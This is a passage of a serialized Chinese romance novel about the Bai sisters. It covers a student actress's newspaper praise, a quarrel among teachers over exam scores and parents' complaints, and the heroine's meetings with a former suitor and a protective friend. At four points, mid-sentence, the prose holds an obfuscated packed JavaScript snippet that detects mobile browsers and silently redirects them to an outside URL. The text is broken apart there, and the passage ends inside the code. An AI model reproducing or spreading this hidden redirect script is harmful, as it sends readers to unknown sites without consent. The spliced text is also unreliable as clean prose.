先前郑家树在路灯底下向她表白,她当然是答应了!这是我还未去就山,山便来就我了呀!想一想,她不过同郑家树多一点接触,就能叫程巧书气得吹胡子瞪眼,要是郑家树果真成了她的囊中物,程巧书从此往后,还能在她面前神气起来吗? 再有了,和郑家树谈一谈爱情也不亏,想当初大姐姐和那个姓柳的自由恋爱,不就是看上他英俊又听话么?尽管那姓柳的狼心狗肺,但大姐姐挑人的标准总不会有错,再看这两条标准,郑家树岂不是完全的符合? 横竖爱情是谈一时得一时快乐的东西,并不强求它有什么结果,当作这无趣校园生活里的调味剂,岂不美哉? 白瑾琪自诩是个时髦的小姐,自觉没必要藏着掖着,可转念一想,今天在星河剧场的时候,大姐姐可没有承认孟先生的男友身份呀。她自己都没有爱情的滋润,我要是先公布了爱情事迹,她不要不开心吧?或者觉得被年纪小的妹妹抢了先,面子上下不来?大姐姐向来把面子看得很重,我如今正仰仗着她呢,怎能不顾及一点她的感受?还是先不说了吧。 于是水润的黑葡萄似的眼珠一转,笑嘻嘻道:“大姐姐不懂,再小的演出,那也是我的付出得到了回报呀!”说着,往手上的茶杯里倒了满满一杯水,又哼着歌儿回到楼上去了。 白瑾琪一夜好眠,第二天精神焕发地去了学校,想不到同学们对她的态度,都变得亲热推崇了不少。一路上不拘认识的不认识的,都要来搭讪一句:“白同学早!”“白同学演得真好,报纸上都夸你呢!” 等踏进了教室,那更加了不得了。一个女学生高声宣布了一句:“啊哟,我们的大明星来了!” 另一个则拿了今早的报纸举到她面前,其中一页便有半幅报导,上书大字“清江大学戏剧社心系社会,中国式罗朱新话剧大获好评”,不光附上了昨天演出时的谢幕照片,报道中还特别提到男女主人公的扮演者郑先生及白小姐“演技出众,系未来演艺界不可多得之人才”。 那女同学也是放着微笑,说:“不光这一家报社,许多其他小报也有报导哩,你这是为咱们学校,大大的争光了!” 一时间,对她恭维赞美的声音此起彼伏,这中间,程巧书便显得很尴尬了。板着一张脸,势必要受到众人的攻击,只好硬挤出一点笑容,阴阳怪气了一句:“白同学现在是众星捧月的人物了。” 坐在一旁的钱瑞芝眼神闪烁着,不断在两人之间游移。 她此前已经在白瑾琪手上跌过两次跟头,不敢轻易去招惹她,但程巧书既然发话,自己总要显示出支持她的姿态,便也接了一句:“是呀,真像是个贵族小姐一样了。” 就她的本意,即便不能将白瑾琪击倒,也要扎一扎她的痛处,叫她感到难受才好。可她不知道,白瑾琪受了白瑾瑜的开导,早已不将她当一回事了,不过是几句酸溜溜的话罢了,和苍蝇的嗡嗡声又有什么不同? 白瑾琪如今是心不动,则不痛,竟还能大大方方地回她一句:“不敢当,不过确实过了一把当贵族小姐的戏瘾。” 这一下,周围的女同学们反倒都喜爱起她来。觉得白瑾琪此人,虽说读书不是顶好,可跳舞和演戏确实出挑,是以,她身上那股子骄傲的劲头也不是由来无因的呀。何况她人活泼,说话又俏皮,细看下来,似乎也并不难相处。 于是那些女同学们一部分结伴回了自己的座位,一部分依旧围在白瑾琪的桌边谈笑,对比之下,反倒显得程巧书和钱瑞芝那一隅最为冷清了。 钱瑞芝两眼紧盯着白瑾琪,回想当初上中学的时候,自己和妹妹是唯白瑾琪马首是瞻的,白瑾琪是人群的焦点,自己便也时刻沐浴着星光的余晖,何曾有过受冷落的情境?可恨的是,白瑾琪如今都一落千丈了,竟还是能吸引着人去拥护她! 除去眼红嫉妒,还生出一阵懊悔:白瑾琪的热闹光荣,从前总有我的一份,现在我倒向了程巧书,倒是我自己把这光荣给丢掉了! 钱瑞芝心里固然像有爪子抓挠似的难受,这其中也有一丝动摇:不要是我巴结错了人吧? 只是这念头刚生出来,旁边的程巧书便似有所觉一般,扭过头来微笑道:“她们热闹她们的,我们何必去掺一脚?难道戏剧社的大戏,月月都有的排不成?眼看就要期中考试了,我周末一定是要在家温书的,你来不来呢?” 钱瑞芝便被敲了一记警钟似的,将那动摇的心给按住了。心想:我真是糊涂了,在学校里出点风头算什么?程巧书可是实打实有个在交通部任处长的父亲,白瑾琪那个当总长的爹可还在?像自己这样普通家庭的人想要往上走,不抓住实际的利益可不行! 于是只管做出一副不在乎的样子,附和她说:“当然来。你是不走歪门邪道、认真上进的人物,我看她们一个个的,都该向着你学习呢。” 大学里的考试略晚一点,首都第三中学的期中考试却已早早地结束了。算出分数的第二天一早,高年级的各科老师并校长便开起了上半学期的总结大会。 秦校长将写了全年级分数的一张大表拿在手里翻看,一丝不苟的脸上竟放出一点微笑来,点头道:“这一次各个班考得都不坏,但我还是要着重地表扬白老师。四五六这三个班级的洋文水平我很清楚,并不算好,可你们看这一次,三个班的平均分都提高了不少,四班的平均分甚至比三班还要高出两分,这对后进的班级,尤其白老师还是新任的教师而言,是很不容易的。” 她冲白瑾璎点了点头以示肯定,又说:“还有最近举办的外文演讲比赛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14726074|151037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,除了一班有一位获奖的同学,六班竟也有一位同学拿了奖,尽管拿的是末等奖,那也是从来没有过的事。咱们做老师的意义,不就在于此吗?” 这是很重的一句夸奖了,白瑾璎很不敢当,但她平日里为人谦逊和气,在同事间的风评极好,于是在座的老师们乐得祝贺她,都微笑着鼓动手掌,向她送出一阵掌声。 其实在其他老师看来,这实在也是一件好事。 学校的评级总归要看成绩,可成绩好坏,并不是一科老师可以说了算的。譬如数学老师使了劲儿地教,叫国文拖了后腿,学生的成绩不还是落个中流吗?第三中学向来以洋文为弱势,这下来了个大有作为的洋文老师,等升学考试时再提一提成绩,指不定学校的评级就能上去,招牌打响了,老师的身价自然就水涨船高了。 一荣俱荣,真要说起来,还是他们跟着沾了光哩! 可这一群人中,却不包括另一位教洋文的缪老师,先前秦校长一连夸了白瑾璎两句,他就隐隐有些不服气了:同样是洋文老师,说白老师怎样好,却又不提我,可不是狠狠让我下不来台吗? 同时心里也在气恼,暗骂三班那群蠢货,平时教给他们的知识也不知学到了哪里,还说是个先进班呢,竟然连四班都没有考过,白白让他这个当老师的脸上无光! 缪昌平看着自己记下的洋文平均分,恨得太阳穴都在突突直跳,觉得前三个班级的分数不够高,后三个班级的分数又太高,最好把后三个分数各匀十分给前三个,那样才舒心漂亮。 他一味在妄想里找点安慰,目光落到六班的分数时,像被打了一针强心剂似的精神一振,故作惊讶道:“六班这次竟考得这样好?白老师,不是我多心,是不是忘了把那三个混世魔王的分数算进去了?” 那三个混不吝,次次都是交一张白卷了事,凭白拉低多少分!从前他带着六班的时候,就从不将那三人算入总分。 他提出一句质疑,白瑾璎还没反应过来呢,任教数学的吴老师倒先抢答了,道:“小缪啊,你这回可是小瞧我们六班了,孙立学和梁小山不必去提,徐克行同学如今可是发奋向学了呀。就我知道的,他这次的洋文就考了班里的第一,先前拿了演讲比赛末等奖的,也是他哩!” 因为同教六班的缘故,吴老师颇有与有荣焉之感,再加上向来看不惯缪老师的做派,于是那荣誉里又透出些得意来,对白瑾璎道:“本来那三个人是从不用心读书的,故而我们算平均分时,都会剔除他们再算一次,方便比较其他学生的情况。我看白老师你一向很老实,大概都不知道吧?” 他是个数学家,碰到数字问题便有些手痒,干脆向白瑾璎问了孙立学和梁小山的分数,直接拿起笔算起来,道:“啊呀,把那两人一剔除,六班的平均分和三班也只差一分了!小缪,你可要当心了!” 再看缪昌平,铁青着脸色,竟是连个笑脸也扮不出来了。 53. 第 53 章 话说缪昌平被吴老师当众撅了一句,那脸色青一阵红一阵,到底没有忍住,冷哼一声道:“吴老师这样说,是质疑我教的不好了?” 他心里那一股酸气直往上窜,干脆公开了宣布道:“只是你这一句质疑,我是绝不领受的。成绩这样东西,本来也是有起有落,对比我这三个班级的前几次考试,从没有过明显下滑的情况,总归稳定得很好。何况先进班本身成绩就不低,可以上升的空间,也就小了。” 他兀自义正严词地一番辩论,不光是吴老师,在座几个老教师的心里都很不满。 本来嘛,不过就是一句调侃罢了,走出了办公室的大门,谁也不会放在心上的。平时各科老师看他年纪轻,性格激进一点,许多地方便都让一让他了;偏偏这缪老师的心眼比针尖还要小,不过说他一句,对着比自己资历深的吴老师,都敢摆出“宣战”的架势,那还得了? 吴老师也是个直肠子,本意并不想和他吵架的,也被他驳得很不痛快,说:“你哪只耳朵听到我在质疑你?只是班级是你先挑的,你把三个先进班挑走了,现在又嫌人家进步空间小,不够显示你的才干,这有点不厚道吧?” 心想:难听的话我还没说哩,等我再去敦促敦促白老师,让她的后进班给这姓缪的先进班来个“倒挂”,那才叫好看! 缪昌平当然也知道自己挑班级的事做得不地道,一时间锯嘴葫芦似的没有话说,这便给了秦校长插话的空隙。她是很干脆的为人,最不耐烦听别人扯皮吵架,只觉得苍蝇似的绕在耳朵边嗡嗡乱叫,听着头疼。 当下拿自来水笔的笔头“笃笃”敲了两下桌面,拧着眉头道:“行了,没人质疑谁教得不好,只是人家确实教得好的,我们也要承认。” 校长的话,本来也最有分量,又秦女士身上自有一种不怒自威的气势,讲话公道,并没有明褒暗贬的意味,这就更给她增加了一重威信。连缪昌平这样小肚鸡肠的人,也没处可以抬杠。 秦女士见四下里的硝烟熄灭了,这才重新放缓了神态,道:“考试的事先放一边,我还有一件事要通知大家。孙老师因为孩子要做一个小手术的缘故,请了三个月的长假,正好教育部新派下一位教务秘书,本人的数学很不坏,可以兼任她的职务,人应当已经到了,我这就把他叫进来吧。” 原本因缪老师与吴老师之间剑拔弩张的气氛,白瑾璎正提心吊胆地闭着一口气呢,这下总算可以松缓一下。不料刚透了口气的工夫,便看见秦校长领了一位年轻的先生进来,再见到那一张脸,又翻搅起许多回忆。 白瑾璎对程佩生的印象其实并不深切,只是和父亲曾经谈及过的男同学,除了他,再没有别人了。于是看见他,便想起父亲,那颗心又是沉甸甸的了。 在程佩生一边,却是一眼就认出了白瑾璎,穿一身烟青色旗袍,领口的纽扣是掐了银丝的蝴蝶扣,将人衬得素静的同时又不失精巧。她和从前几乎没什么变化,大概因为家中变故的原因,反倒多添了一分沉着忧郁的情态,但凡眉头轻轻一拧,便要显得楚楚可怜了。 他原本就是求爱失败的一方,早前父亲又遭革职,虽说现在也在一家公司任财务经理,但到底比不上当官的时候了。本来对白瑾璎已不抱希望,可想一想白总长同样是意外身故,偏偏那么巧,他二人又在任教的中学里重逢了,出于同病相怜之感,竟又生出一点微薄的希望来。 程佩生倒没有什么大动作,只在秦校长介绍他的时候,不露声色地望着白瑾璎微笑,料想会议结束之后,她总要来找自己寒暄叙旧的。 不料散会之后,白瑾璎只冲他点了点头以示问候,便追上另一个老师说话去了。 白瑾璎急着要找吴老师道一声谢,在她看来,吴老师之所以会调侃缪昌平那一句,无非想为自己出个头罢了,是以刚才气氛紧张时,她心里是又怕又过意不去。 追上去道:“吴老师,我知道您一向很帮着我说话,多谢你。只是为了我和别人闹矛盾,那实在是犯不上。” 吴老师仍是气咻咻的样子,显然是余怒未消,却对她摆手道:“你看,你总爱把责任往自己身上揽,我是早看那姓缪的不顺眼了,并不单单为了帮你。”重重哼了一声,“一个大男人,气量那样小!” 吴老师骂过一句,出了气也就算了,想不到这件事还远不到翻篇的时候。 究其原因,大概这世上多数的父母都不能免俗,但凡考试了,就爱打听别家孩子的分数;设若自家孩子考得好了,又忍不住要炫耀嘚瑟两句。一来二去,先进班的洋文成绩险些被后进班赶超的事,也就暴露了。 先进班的家长当然大为不满:我一个好孩子送去学校,怎么反倒没有长进?要知道读书这东西,是不进则退呀!你要说第三中学没有好的老师吗?那怎么后进班的学生们个个都跟开了窍似的呢?那就是学校故意要把差的老师分给先进班了,这凭什么?不是要把我好好一个孩子荒废掉么! 另一边,后进班的家长也是绷紧了一根弦:话不能这样说,我这孩子底子虽差一些,并不是不可救药呀!你瞧,这不是能考得好么?怎么后进班的孩子就不配有好的老师来教吗?横竖这一位老师是开学就分派好的,落子无悔,可不兴中途调换的! 于是短短两天,已有十来位家长来过教务处了,诉苦的有之,感谢的亦有之,话里话外无非想要霸占住白瑾璎这个好老师罢了。 程佩生刚一调任就遇上这样一桩纠纷,他倒也不急不躁,了解过各方的诉求后,约了两位洋文老师并秦校长一起来商量解决的对策。 白瑾璎起初还不知道是怎么一回事呢,心想:我教书的成果不坏,总不能是约谈来批评我的吧?这一天便和往常一样坐了公车来上班,还没走进校门,就被从旁横 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14740244|151037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 穿出来的一位太太亲热地挽住了手臂。 家长们听说了学校要商议一个结果,个个翘首以盼。其中不乏对孩子的教育格外上心的,一早便蹲守在学校门口,想要抢一个先机,拉住那位白老师好好谈一谈,以动摇她的决定。 这位太太就是在此之列了。 她首先就对白瑾璎露出一个笑容,道:“这就是白老师了吧?我们家孩子虽没有上过您的课,对您却是很推崇的,您有这样好的学识,不去教最好的班级,多么可惜!一班的孩子悟性很高,花一样的心思,那成果可是事半功倍呀!” 白瑾璎正是听得云里雾里的时候,另一条胳膊一紧,却是被另一位太太拉了过去,也不知她是从哪里冒出来的。 那太太也是满脸堆笑,眼风却刀子似的剜了先前的太太一眼:“既然是一班的孩子,找我们白老师做什么?”扭头对白瑾璎道,“白老师,久仰呢,孩子的功课提高那么多,都是您教得好哩!我们这些当父母的,别提心里多么感激您!” 白瑾璎认出她是五班一位女学生的妈妈,在家长开放日时还浅谈过两句,便对她微笑一下。 她不过下意识的举动,对前一位太太而言,却是白老师要倒向对面的危险信号呀!当下便攥紧了手里的胳膊,拔萝卜似的将人一把拉过。她心里急切,手上难免控制不住力道,刚一拽,就听见白瑾璎吃痛的抽气声。 那太太心里一跳,眼睛飞快偷瞄一眼,只见白瑾璎的小臂上被自己箍出好一道红印,半遮半掩在宽松的袖口下。 当下讪笑着松了力道,却还是将那胳膊圈着,怕她跑了似的,心虚道:“对不住,对不住。白老师这文文弱弱的,瞧着就是有知识的女子哩!” 白瑾璎已然有些惊慌了,趁她松手的间隙,忙不迭先将自己的两条胳膊抽回来,边退边说:“哪里,哪里。今天不能久谈,我正赶着去上课,不然该迟到了。”好不容易,才算从那虎口逃脱出来。 上午一节洋文课结束后,白瑾璎如约赶去校长办公室,想不到她来得太早,别说缪昌平没有来,连秦校长本人也不在办公室里。只有程佩生已经到了,一个人静坐着翻看资料。 白瑾璎敲了敲门以示提醒,想到自己从前婉拒过他,一时也有些拘谨,只向他笑了一笑。反倒程佩生是很平和的样子,请她进来稍坐,又讲了讲这一出家长闹“起义”的经过。 白瑾璎只听了一半,已经表现出很为难的样子,低声道:“原来是我给学校惹来这一场麻烦。” 程佩生含了微笑望着她说:“怎么是你的错?好的珍珠拿到市面上,人人打破了头抢着要买,这难道是珍珠的错吗?”说话的同时,那一双眼睛,只管目光灼灼地盯着她看。 白瑾璎冷不丁和他对视了一眼,吓了一跳似的,猛地躲避开他的视线。好在此时门外响起脚步声,是秦校长与缪昌平来了。 54. 第 54 章 校长办公室里,程佩生已将近来频发的家长投诉事件汇报完毕,阖上了手里的记事簿,道:“实在造访的家长太多,设若学校不给一个妥善的办法,这就不好收场。那么是要换班级呢,还是有什么别的法子呢,我想不如就趁今天,和秦校长并两位当事的老师一起商议一个对策。” 在场几人之中,就数缪昌平最难堪了。归根到底,要不是他教得太没有起色,也不至于引发先进班家长之不满,更不至于惊动秦校长并白瑾璎几个人,要专程来开个小会议替他收拾这么个烂摊子。 是以他的脸上青灰一片,还透着屈辱的臊红,比此前开年级大会时不知难看多少倍。憋了半晌,才忍屈求全似的咬了牙道:“那还是按照从前的分法,我带一三五,白老师二四六,那些投诉的家长,总可以满意了吧?” 程佩生冲他微笑一下,口气很温和,讲的话却很不客气:“人家为什么满意?至少一班三班的家长不会满意,五班的家长,更要冲到学校里来理论了。” 同时,白瑾璎在听了缪昌平的话后也是皱了皱眉,大着胆子发声道:“我也觉得不好。这样一来,不说对五班的学生不大公平,缪老师上课的进度节奏,肯定也和我不大一样,贸然调换班级,势必要花费时间重新适应磨合,这些时间,不就白白损失掉了吗?” 她的本意,是想强调对于要升学的班级而言,时间是很紧迫的,最忌讳朝令夕改。偏偏听在缪昌平的耳朵里,就成了白瑾璎瞧不上他带过的班级,觉得要花大工夫重新“补课”哩! 缪昌平越看白瑾璎一副细声细气弱质女流的样子,心里越是火大,年纪比自己还小,偏偏自己还要居于下位,更觉得屈辱,忍不住阴阳怪气道:“可不是?白老师的水平多么高,你的进度节奏,我是拍马也追不上的。” 白瑾璎被他刺了一句,心里固然生气,一时也不敢硬碰硬地起冲突。 反倒是程佩生笑了一声,淡淡道:“我听明白你的意思了,干脆把白老师调去水平更高的学校,再来个资质平平的,这就什么事都不会有了,是不是?” 缪昌平心想,可不就应当是这样吗!可他哪里敢真的说出口?没看见秦校长的脸色已狠狠地往下沉了么?好不容易来了一个人才,眼看要将三中的洋文短板给补上了,自己却说最好把她送走,这是上赶着找秦校长的不痛快呀! 直到这时候,缪昌平才后知后觉地反应过来:自己与白瑾璎,绝不能是势不两立的关系!设若只保一个人,难道秦校长会保自己吗?自己先前,实在把白老师得罪的太过了。 于是悬崖勒马,硬是对白瑾璎挤出三分笑脸,赔礼道:“白老师见谅,我是急昏头了,绝没有怪你的意思。我如今还要仰仗白老师的配合,一道解决眼前的难关呢。” 人也乖巧起来,不再轻易开口,只静等着秦校长的发落一般。 程佩生转而请示道:“校长,您怎么说呢?” 秦校长思忖的时候,手里的自来水笔在纸页上一下下地敲着,开口道:“如果要求公平,那就按照这一次的成绩,将六个班级重新再分一遍。分数是学生自己考的,再公平不过。” 才刚说完,又自己将它否决了,“只是这又是大动干戈,到时候不光洋文课,兴许连国文算术的老师,都要有变动。白老师的话我很同意,不能将时间浪费在老师的调换磨合上,眼看几个月后就是正式的考学,太不值当了。” 程佩生也附和一句:“正是如此,况且班级一旦变动,身边的同学势必也是焕然一新,本来玩得好的朋友分开了,心里一定很失落的。临近考学的学生,不光其课业,心情上的影响一样不可小觑。” 秦校长点了点头,脸上的神情总算柔和一点,说:“既然班级不能变动,还能怎么办呢?我想,家长们看的无非是成绩罢了,那就只能向他们做一个成绩上的保证。” 威严的目光径直落到缪昌平身上,“总说学无止境,学生们有进步的空间,老师的教学就没有精进的余地吗?缪老师,你既已被家长们架在这儿了,不如就立一个‘军令状''。考虑到先进班的孩子本身分数不低,那就以五分为界,保证最终考学时,先进班的洋文分数提升在五分之上,这期间,就以日常的随堂小测为监督的指标,你能不能做到?” 缪昌平听到这里,背上早已出了一身冷汗。自己的斤两自己知道,他这小半壶墨水晃荡,真不敢做这一个保证呀! 是以面色涨红着,一下推脱时间紧迫,一下又扯皮成绩高低受许多因素影响云云,总之就是给不出一句准话。 这是什么意思,秦校长也看出来了,冷着脸沉沉地叹一口气后,让缪昌平与白瑾璎分别拿出各自备课的教案来。比对着一看,自然是高下立现。秦校长思忖再三,最终还是拍板道:“这样,往后白老师做的教案,我都让她给你一份,这一份军令状,你总可以立了吧?” 这作法,就好比做不出题时,有人把写完的答卷白白递到你手里——如此天上掉馅饼的美事,缪昌平还能有不愿意的吗? 他心里已然激动起来,心道,有了白瑾璎的教案做基础,自己再添几笔加以完善,又先进班的学生悟性高,天时地利尽归自己,还怕教学成绩不如她吗?当下看秦校长都百般顺眼起来,向白瑾璎拱手道:“白老师,却之不恭,却之不恭啦!” 纵使他极力地按捺,窃喜的精光也从眼角显露无疑。 秦校长真不愿见到他,只管将两位男老师请走后,对白瑾璎道:“学校如今正是短缺洋文老师,缪昌平再没用,把他逼走了,余下三个班级没有人教,事情就不好收场。缪昌平要按住,家长要安抚,学生也要顾及,是以现在这个办法,谁也不受委屈,光光委屈了你一个人。” 可是事情要解决,实在也没有其他办法。 秦校长料想白瑾璎心里一定不好受,拍了拍她的肩膀道:“不过,不拘先进班提高多少分,这一份功劳,我都记在你的头上,期末的评优评级,一律都以你为优先,这我可以向你保证。此外,你的薪资从下个月起也多加五十块,这是我个人可以决定的范畴,就不必告诉其他老师知道了。” 明知道缪昌平是个小人,还要把自己的劳动成果无偿分享给他,白瑾璎心里当然不大舒服。 不过仔细想一想,自己在第三中学任教师,本来也不是长久的计划,何必要和缪昌平僵持不下?要是能换来太太平平相安无事的工作氛围,让他一下,也就让了。况且秦校长是很偏向她的姿态,总算也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14765784|151037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是一份慰藉。 秦校长微笑一下,又说:“我记得你今天下午没有课,那就早点回去休息吧。考试那一阵子,你是很辛苦的。” 于是白瑾璎也就回了一个微笑,算是将这一份补偿与安抚,接受了。 推门往外走时,倒看见校长办公室前的廊柱后藏了许多学生,一见她出来,纷纷做鸟兽散地跑远了。这其中就有徐克行,他倒没有跑,只是很腼腆地留在原地,想找她说话似的。 原来在四人举办秘密谈话的同时,孙立学便在班级里放出消息,信誓旦旦地说白老师受了提拔,要丢开他们这些吊车尾的后进班,转而去教先进班了。说话的时候,不忘以挑衅的眼神看向徐克行。 自从徐百富开罪蒋牧城之后,孙老板自然再也不愿和他沾边。他眼看巴结孙老板无望,又发现白瑾璎真是挺看重自己这孩子的,徐百富看惯了风向,随即又将希望投注到徐克行的身上,以期从白瑾璎入手,软化蒋牧城的铁腕。 是以,他近来很顺着徐克行的心意,他爱读书,那便读书!横竖孙老板是攀附不上了,也无需讨好那个小的,他不愿意和孙立学顽在一起,那就不顽!自己的孩子在功课上甩开姓孙的一大截,他还觉得扬眉吐气哩! 徐克行舒服了,孙立学却心气不顺。 他是个成天逃课的主,其实不拘哪个老师来教,姓白的姓缪的都讨厌,可徐克行喜欢那个姓白的,他便希望姓白的调走,好叫徐克行不痛快。 徐克行脸上不显,心里却紧张得很,于是跟了一群好打听的学生猫在校长办公室外,看能不能听出什么端倪。 起先看到缪老师一脸喜色地出来,猜测着:由先进班换到后进班,总不至于高兴成这样,那大约是不调换吧?可还是不确定,一颗心七上八下的,仍旧等着。直到把白瑾璎等出来了,听到她亲口说了“不换”,这才把悬着的心,安稳地放回到肚子里。 一路意气风发地冲回教室,站在讲台上扬着手宣布道:“白老师不调走!她在先进班与后进班里,选了咱们后进班呢!白老师舍不得撇下咱们,咱们也不能丢她的脸,叫她失望吧?” 这一番宣言大大地鼓舞了士气,竟真让一个后进班迎头猛进起来,当然这是后话,暂且不表。 另一边,白瑾璎收拾了东西预备回家,刚走出教学楼,便在楼下遇见了程佩生。后者像是专程等着她,一见面,便很富有同情意味地说:“这一件事,你很受委屈。我再怎样帮你说话,校长一拍板,我也是无能为力了。” 白瑾璎向他道了声谢,一路往前走,程佩生竟也一路跟了过来。 “唉,你我如今的境遇,有太多力所不能及了。”他意有所指,总想唤起一点旧情,又说,“你心里要是不好受,尽可以找我谈一谈,一年多不见,我原也有许多话要和你说。” 白瑾璎为避嫌的缘故,很不想和他谈,是以一路敷衍着,眼看离校门很近了,心想,这下总可以互相道别了吧?不想程佩生的絮叨竟戛然而止了。 白瑾璎狐疑地看他一眼,见他不仅闭口不言,连神色也略显得僵硬,视线定定地落在校门外的一处——蒋牧城锃亮的黑色洋车正停在那里,他人倚在车尾处,此刻已抬起了头,向这边看来了。 55. 第 55 章 在见到蒋牧城的一刻,程佩生的神色明显地黯淡下来,只是白瑾璎的注意力全然被蒋牧城吸引走了,没有留心到罢了。 再看蒋牧城,同样也是皱了皱眉头,随后竟向白瑾璎半伸出手道:“快上车吧,说好了来接你的。” 白瑾璎并不记得他有说过这一回事,但因为蒋牧城时不时会来接她一下,也就懵懵懂懂地走过去,扭头对程佩生道:“程老师,快回去吧。这件事既然已谈好了对策,那就不必再去提,你的好意,我也心领了。” 这一次,程佩生倒没有过多纠缠,只神色复杂地看了蒋牧城一眼,又勉力对白瑾璎笑了一笑,走开了。 外人走了,白瑾璎便很自觉地坐上洋车的副手座,问道:“你说过要来接我吗?什么时候的事?前一阵子太忙,我都不记得了。”心想,应当不是我提出来的吧?我并没有什么要请蒋二哥帮忙的事呀! 蒋牧城也弯腰进了驾驶座,草草带过道:“我们没有说好吗?大概我也太忙,一时记模糊了。”说话间,已经将车发动起来,又状似不经意地问,“我看程佩生和你走在一起,怎么,他也在这里教书吗?” 白瑾璎惊愕地扭过头看他:“你竟然认识程先生哩!”但她马上记起来,“哦,对,对,你们仿佛是见过一次。我念书的时候参加过一次庆功的聚会,你还帮我们会过账呢。你记性真好,统共就这一次,你竟记得这样清楚。” 蒋牧城提了下嘴角,淡声道:“我知道他,大多还是因为他父亲。他父亲从前在总理府任财务秘书,只是手上的账太不清楚,被人细查追究后查了出来,便只有革职一途了。他的儿子会去做教师,我倒是没有想到。” 这一番解释引起了白瑾璎的惊呼,“他父亲真被革职了吗?我想起来了,从前爸爸就提起过,他父亲之所以能坐上高位,就是仰仗了背后有靠山,只是这靠山能仰仗多久,那是说不定的。唉,政治场上风云变幻,这不是空话。” 又说,“蒋二哥,你不知道吧,那一天我参加完学生聚会刚回去,爸爸就问起我程佩生的事了,还说他有自己的耳报神,所以信息才这样灵通。” 提到白齐盛,她下意识就有许多话要说,笑容将将浮现在脸上,又想到白齐盛已然是不在了,整个人又消沉低落起来,话也就停在了这里。 蒋牧城这一位“耳报神”,因为无意间被揭开了底细,多少有一点心虚,竟也少见地没有出言宽慰,只是两手控着方向盘,默默地直视着前方。 白瑾璎偷觑他一眼,似乎是感受到他身上带着一点窘迫,便率先打破沉默的气氛,道:“我还没有问,你今天找我是为了——”余光瞥见窗外的街景,当下“咦”了一声,“我们要去哪里?这并不是会椿樟街的路呀?” 蒋牧城这才后知后觉道:“是我忘了说,本来今天来接你,就是想请你帮一个忙,给我家里的侄子选一份生日礼物。现在是十一点钟,我先带你去吃饭,然后再去转一转百货店吧,好在时间是很富余的。” 见白瑾璎面露难色,首先就想,她不要是约好了别人吧?也许是今天骤然见到了程佩生的缘故,心里很不是滋味,但又想到方才已经和程佩生道了别了,那一种威胁感才算淡去,问道:“有什么不便吗?” 白瑾璎很不愿意回绝他,只是事情急迫,只能实话实说道:“我最近恐怕很难有空了。从前没想到在中学教一教洋文,这样的花费精力,我手上那本译作,现在落下了好大一段进度,译文的用词与梳理上也不大顺利,正是赶进度的时候。” 她低着头,很惭愧地将手指缠在一起,“而且我也和虞妈说好了,晚饭回家里吃。” 这话听在蒋牧城耳朵里,反倒放下心来:她没有空,不和自己出去,总归也不会和别人出去的。于是微笑着,绕了一段路,重新将车停到了椿樟街36号的大门前。 白瑾璎很过意不去,车门都打开了,还不忘回头说:“害你今天白跑一趟,等这一段进度赶上了,我请你吃饭吧?我的薪水上涨了呢,可见我教书的本领,也不坏吧?” 送走了蒋牧城的车往回走时,听见住在隔壁的记者同她打了声招呼:“白小姐回来了?” 对于余佰此人,因他平时总是笑脸相迎的和气样子,白瑾璎除了觉得他嘴碎些,对他的印象倒并不坏,于是也微笑着向他点了一点头。 余佰本来站在院子里的,见四处没有别人,神情闪烁着走过来问道:“白小姐,我看见刚才有位先生送你回来哩,恕我冒昧问一句,那是你交的男友不是呢?” 白瑾璎心里一跳,脸颊先就烧了起来。刚想让他不要胡乱说话,想不到对方见她如此神色,认定自己猜中了似的,“哎哟、哎哟”连叫了两声,表情十足十的同情惋惜。 透露秘密一般,压低了声音提醒她道:“白小姐,别看这人仪表堂堂,内里可不能相信呀!不是我诓骗你,我可是亲眼所见,他在交流会上和别个小姐出双入对,形影不离地贴身保护着人家,这还不算是男友的姿态吗?那他对你,就是欺骗了!” 白瑾璎怔怔道:“交流会?” 余佰便露出一点自得的样子,嘻嘻一笑道:“白小姐不知道吧?前一阵子外交部举办了一次交流会,并不对外开放的,不过会邀请一些记者做报道。鄙人区区不才,也在受邀之列,所以我说的话,你小姐绝对可以相信!至于那位小姐的样子,我虽然没有看清,不过穿戴得很时髦哩!” 白瑾璎这下可以确定,余佰所说的小姐不是别人,正是她自己呀! 余佰没有认出自己,却将她和蒋牧城视为爱侣,难道他们之间的举动真有那样亲密吗?这是唯独余佰一个人的推想,还是见过他们的人,都这样想呢? 一旦有了这个念头,脸上的热意非但没有下去,反倒有愈演愈烈的趋势。余佰只当她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 